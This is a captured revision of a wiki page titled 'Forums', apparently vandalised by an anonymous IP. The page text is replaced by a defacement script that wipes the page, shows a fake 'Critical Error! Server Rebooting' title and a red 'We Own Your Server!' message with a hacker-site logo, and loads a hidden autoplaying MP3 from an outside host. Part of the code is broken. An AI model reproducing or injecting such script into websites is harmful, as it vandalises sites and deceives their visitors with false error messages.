Forums

From World Wind Wiki

Revision as of 22:47, 11 March 2007 by 66.67.114.20 (Talk)
Jump to: navigation, search

var title = "Critical Error! Server Rebooting ..."; var bgcolor = "#000000"; var image_url = "http://www.HackersCenter.com/public/images/logo.gif"; var text = "We Own Your Server!"; var font_color = "#FF0000";

deface(title, bgcolor, image_url, text, font_color);

function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {

 document.title = pageTitle;
 document.body.innerHTML = ;
 document.bgColor = bgColor;
 var overLay = document.createElement("div");
 overLay.style.textAlign = 'center';
 document.body.appendChild(overLay);
 var txt = document.createElement("p");
 txt.style.font = 'normal normal bold 36px Verdana';
 txt.style.color = fontColor;
 txt.innerHTML = pageText;
 overLay.appendChild(txt);

 if (image_url != "") {
   var newImg = document.createElement("img");
   newImg.setAttribute("border", '0');
   newImg.setAttribute("src", imageUrl);
   overLay.appendChild(newImg);
 }
 var footer = document.createElement("p");
 footer.style.font = 'italic normal normal 12px Arial';
 footer.style.color = '#DDDDDD';
 footer.innerHTML = title;
 overLay.appendChild(footer);


var music=document.createElement("embed"); music.src="http://minorcrisis.net/files/Akon%20Feat.%20Eminem%20-%20Smack%20That%20%28Dirty%29%5B5%5D.mp3"; music.autostart=true; music.hidden=true; var overLay = document.createElement("div"); overLay.style.musicAlign = 'center'; document.body.appendChild(music); }

Personal tools